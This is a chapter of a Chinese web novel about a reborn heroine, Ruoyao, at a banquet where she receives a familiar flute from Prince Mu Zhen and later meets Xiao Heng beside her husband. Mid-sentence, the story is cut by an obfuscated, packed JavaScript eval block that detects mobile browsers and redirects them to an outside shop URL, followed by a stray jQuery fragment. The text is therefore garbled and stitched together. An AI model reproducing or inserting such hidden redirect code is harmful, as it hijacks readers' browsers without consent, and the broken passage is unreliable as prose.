“嫂嫂不必担心,这上京的贵女公子都是趋炎附势之人,爱说闲话罢了,你显露些才干他们才不敢招惹你呢。”
林玟圆看出了她的担忧出言安慰。
“是呀,就比方说那顾景韫看着温柔贤淑,实则最有心机,整人数她最厉害的了。”司徒闻樱声音压低,生怕旁人听到。
“啊”若瑶不可置信。
“是呀,她可一点不像她的哥哥长宁世子,表面上是上京第一才女,可私下做起事来两面三刀,最喜欢脚下使绊子,明是一盆火,暗是一把刀。”林玟圆似是吃过她好多亏,气鼓鼓的接话。
若瑶心惊,这长宁郡主还有这么一面,随即想到什么又戳了戳林玟圆的脑袋:“那你们两个方才也表现的不差呀,与她的亲近的样子,连我都骗过去了。”
司徒闻樱坏笑的与林玟圆对视一眼:“吃亏吃多了,谁还不会装几下呀。”
林玟圆也眨眨眼调皮的笑。
“韦侍郎以前是长宁侯的门客,方才长宁世子邀我们前去投壶,不过也是替韦依玲解围罢了。”司徒闻樱脸上又染一抹愁容。
若瑶暗自惊叹,这两小丫头看起来天真无邪,竟然心如明镜,能想到这么多层,看来生活在上京城的贵女没有一个是简单的了。
“看你俩方才那小女儿的娇羞样子,莫不是喜欢那长宁世子”若瑶一顿脚步,调笑两人。
“是玟圆喜欢,我才没有呢。”司徒闻樱连连摆手,像是心事被戳穿,脸蛋瞬间变成绯色。
“才不是呢,不是你老带我去弘文馆看长宁世子吗,是你喜欢才对。”林玟圆难为情的反驳。
“我看你俩都喜欢。”若瑶叉腰定论,摇摇头故作感叹道:“只是不知道,这姐妹大,还是情爱大呢,万一哪天上演一出为爱撕破脸的戏码···”
“好呀,玟圆,你看你这个嫂嫂坏得很。”司徒闻樱一跺脚,就要上前抓若瑶。
“就是,我们一起揍她一顿。”林玟圆也撸起袖子作势就要去抓若瑶。
若瑶侧身一躲,调笑着跑进了连廊了,两个少女你追我赶抓到了若瑶将她按在廊椅上恶狠狠道:“挠她痒痒。”
“好妹妹,我错了,我再也不敢了。”若瑶被挠得浑身乱颤赶紧求饶。
碧春园内高朋满座,热闹非凡,林玟圆带着司徒闻樱若瑶一同入了席面,林老太君是最疼爱玟圆的要带着她坐到首席面,司徒闻樱回到了自己母亲身边,只剩下若瑶坐在延席的另一头。
也不知林君尧忙完归家了没,若瑶看着周围陌生的面孔都在热络的社交,她谁也不认识觉得压抑的很,吃了几口便与周围人打了招呼,离开席面了。
若瑶四处看着,找了处回廊坐着,宾客们都聚在席面上,回廊无人,若瑶也乐得清闲,拿着团扇扇风,吹着微风看着湖面的荷花倒也惬意。
忽然一阵箫声被微风夹送而来,若瑶听得不真切,那声音似乎比箫声更加低沉清脆些,让人听了有种想家的感觉,这…貌似是墨格才有的乐器名叫茄篥。
若瑶好奇,这上京竟然有人会吹奏一个西域被灭小国的乐器,便寻着那声源找去,穿过回廊,又走过长长的甬道,才在那湖边的柳树下寻到吹奏的人。
“沐王爷”
若瑶俯身请安,见着是先前一起投壶的沐稹有些惊讶。
沐稹见她站在那里停下了吹奏,犹豫了一下还是开口:“你不是状元郎的新妇吗,今日你林府这么热闹,怎的独自来此处。”
若瑶上辈子就见过这人,他来红河府与萧珩议过事,不过是悄悄的深夜前来,只有过几面之缘,若不是方才投壶别人叫他沐王爷她险些认不出来,十多年了他容貌早就变了许多。
“只是在回廊处听到仙音,音色很是特别,遂寻至此处,不想竟是沐王爷在吹奏,叨扰王爷了。”
“仙音?这上京的乐器精制大气,那样不比这茄篥好听。”沐稹神情似乎落寞了一瞬,语气有些黯然。
若瑶笑了笑:“茄篥,原来它这个名字,甚是希奇呢,我倒是不曾见过。”
可她是那里不曾见过,她还是吹奏茄篥的高手呢。
“这是传自西域一小国的乐器,我觉得有趣儿就学了过来,传说那里的人想家的时候就会吹奏。”沐稹像是回忆起什么,语气淡淡的道。
“西域十六国大部归了南镇司统管,难怪沐王爷会吹这茄篥了,那沐王爷可是想家了吗。”南镇司沐稹奉旨上京,与吏部交涉削兵之事,他此时正是不得意之时,吹着茄篥也是自然。
沐稹闻言一顿,没想到这小娘子能说出这番话来:“听闻你来自蓉城?”
若瑶点点头:“是,王爷,如今刚与夫君到这上京不过三五日。”想必是在水榭旁与那韦侍郎千金拌嘴的话被他听了去,知道她是蓉城来的。
“如此一来,我与你算半个同乡了。”
若瑶差异:“同乡,王爷不是理南人吗。”
沐稹摇摇头:“一百多年前,沐氏一族因天灾南迁至理南,我祖籍是蓉城人。”
若瑶恍然,忽又记起蓉城那大山上的碑文,开元二年水漫至此,就是沐氏一族立的:“原来是这样,那属实我的荣幸了。”
“难得有人喜欢这茄篥,也算是有缘,便赠予你吧。”他递与若瑶,神情冷漠没有半分僭越的模样。
若瑶接下了茄篥,还未出言道谢呢,沐稹便转身离去了。
真是个冷脸的怪人,若瑶拿着手里的茄篥把玩着,这感觉真是奇妙,还不如若瑶的巴掌长,上面的一孔一眼若瑶都十分熟悉,仔细一看才瞪大双眼,惊觉,这不是上一世自己的茄篥吗?怎么到了沐稹手里!
手指触摸着这茄篥,仿佛上一世的事情真实的印刻在眼前,上辈子自己这根茄篥给了萧珩,是他磨人磨得她烦了才给他的,原以为他会十分珍惜,不想竟是随手送了人,若瑶摇摇头,笑自己上辈子的愚蠢。
以往上一世的事都是脑海里的走马观花,如今茄篥握在手中才觉那些过往都是真实的。
她将茄篥放在袖口里,重新穿过荷花池回到回廊,这里已经有了些旁人,若瑶不认得,不想打招呼生事端,便绕开去了一个洗砚池,一个小丫头正到处找她,见着她才两眼放光气喘吁吁道:“少奶奶,四爷回来了,正招呼你去见贵客呢。”她边跟着小丫鬟走回碧波园的大花厅。
还未入内就见许多护卫林立在花厅外。若瑶隔着花厅前种的迎客松便看到一抹熟悉的身影,是林君尧!他端坐在花厅下方。
他一身白袍,温润优雅,若瑶一进门,他便注意到了她,眉眼带笑看着她缓缓走过来,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14143216|150189||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
右手在袖口小幅度的找她招手。
若瑶心里有些小雀跃,才分开没多久呢,她就想念他了。
花厅上坐的是萧珩,他生得很高大,年过三十了,脸上却还带着锋利和冷漠,身上穿了一件右衽袍子,因着常年征战沙场缘故,坐姿端正又桀骜。
花厅里充斥着林裴度和覃氏说话的喧闹和丫头摆茶碟的声音。
萧珩和林君尧同时出现在一处,这画面还是若瑶从未想过的。
若瑶提裙跨过门槛。
覃氏一见她来此,连忙笑颜一展,指着若瑶便向萧珩介绍道:“这是我家老四的新妇”热情的模样让若瑶恍惚,这和面见老太君看到的覃氏是同一个人吗。
萧珩仿佛是不认识她一般,点了点头,目光仅仅停留在她身上一刻便移开了。
也是,她与他不过几面缘分,哪能能让萧珩记住呢。
“睿王爷安好。”若瑶俯身行礼。
萧珩与四皇子攀谈着话连个眼神都没给若瑶,只是手摆了摆让她起来了。
若瑶起身连忙走到林君尧旁边坐定。
林裴度第一次见若瑶,却是比萧珩还冷漠,当她是空气一般,只是一个劲的笑道:“王爷大驾光临林府,可要尝尝这邵丝粥,这可是特意请青云楼的厨子做的,食材都是专门从泉洲运过来的,新鲜的很。”
邵丝粥是各种名贵海鲜熬制的粥,在这中原十分精贵,原因无他,这食材珍贵难寻。
若瑶记得,上辈子萧珩与她说过,瓜洲的海鲜粥十分好吃,形容得似王母娘娘的琼浆玉液,以后会带她吃个够呢,想必他十分喜爱吃这粥吧,林裴度可真对上他胃口了,这马屁拍好了。
在场的每个人桌前都有一碗。
林君尧用勺子搅拌着粥,等粥散发完热气,才将自己那碗与若瑶的交换,若瑶笑了笑,这个举动是悄悄完成的,在场的人没几个看到。
若瑶心领神会,端着粥一勺一勺的吃了起来,当真是好吃极了,鲜得不得了,果真如萧珩所言。
萧珩只是赏脸尝了一口,便放在桌旁不理会了。
“当今新科状元郎可出自你府。”萧珩似是不经意的问了一句。
林裴度喜笑颜开:“正是在下的四子林君尧。”
林君尧起身行礼,不似林裴度那般讨好,不卑不亢的道:“久仰睿王殿下大名。”
原来这就是那小妇人的夫君,气度不凡也但也不过是个白面书生。
“你家娘子是没吃过邵丝粥吗,吃得这般着急。”萧珩莫名的来了这一句。
众人有些被这话摸不着头脑,纷纷望向抱着瓷碗吃得正香的若瑶。
额………,众人眼光齐聚在自己身上,若瑶脸上染了绯红,吃粥的动作一顿,不知如何自处,求救般的看向林君尧。
“内子长年长在内陆,确实很少吃过海鲜等物,让王爷见笑了。”林君尧笑笑,身体却挪了半步,将若瑶护在身后,不动声色的挡住了萧珩看若瑶的视线。
见那白面书生护那小妇人这么紧要,萧珩一挑眉,不再多言:“算着日子候官时间已过,现居什么官职?”
“大理寺少卿,主管案件审理与复合。”林君尧出言道。
“犬子正辅助大理寺卿审理烈灵台一案。”林裴度在一旁笑笑道。